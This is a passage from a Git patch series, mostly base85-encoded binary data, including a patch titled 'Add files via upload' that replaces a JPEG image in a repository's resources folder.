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 Date: Sun, 10 Jan 2021 22:40:13 +0530 Subject: [PATCH 465/838] Add files via upload --- resources/IMG_20200929_103719_629.jpg | Bin 54293 -> 24043 bytes 1 file changed, 0 insertions(+), 0 deletions(-) diff --git a/resources/IMG_20200929_103719_629.jpg b/resources/IMG_20200929_103719_629.jpg index d4e6cd95438e39ba8b03bdfb63cae61fcafd511a..f56bd07ec92b6eaa168cf8ec8c05043e397c6aab 100644 GIT binary patch literal 24043 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 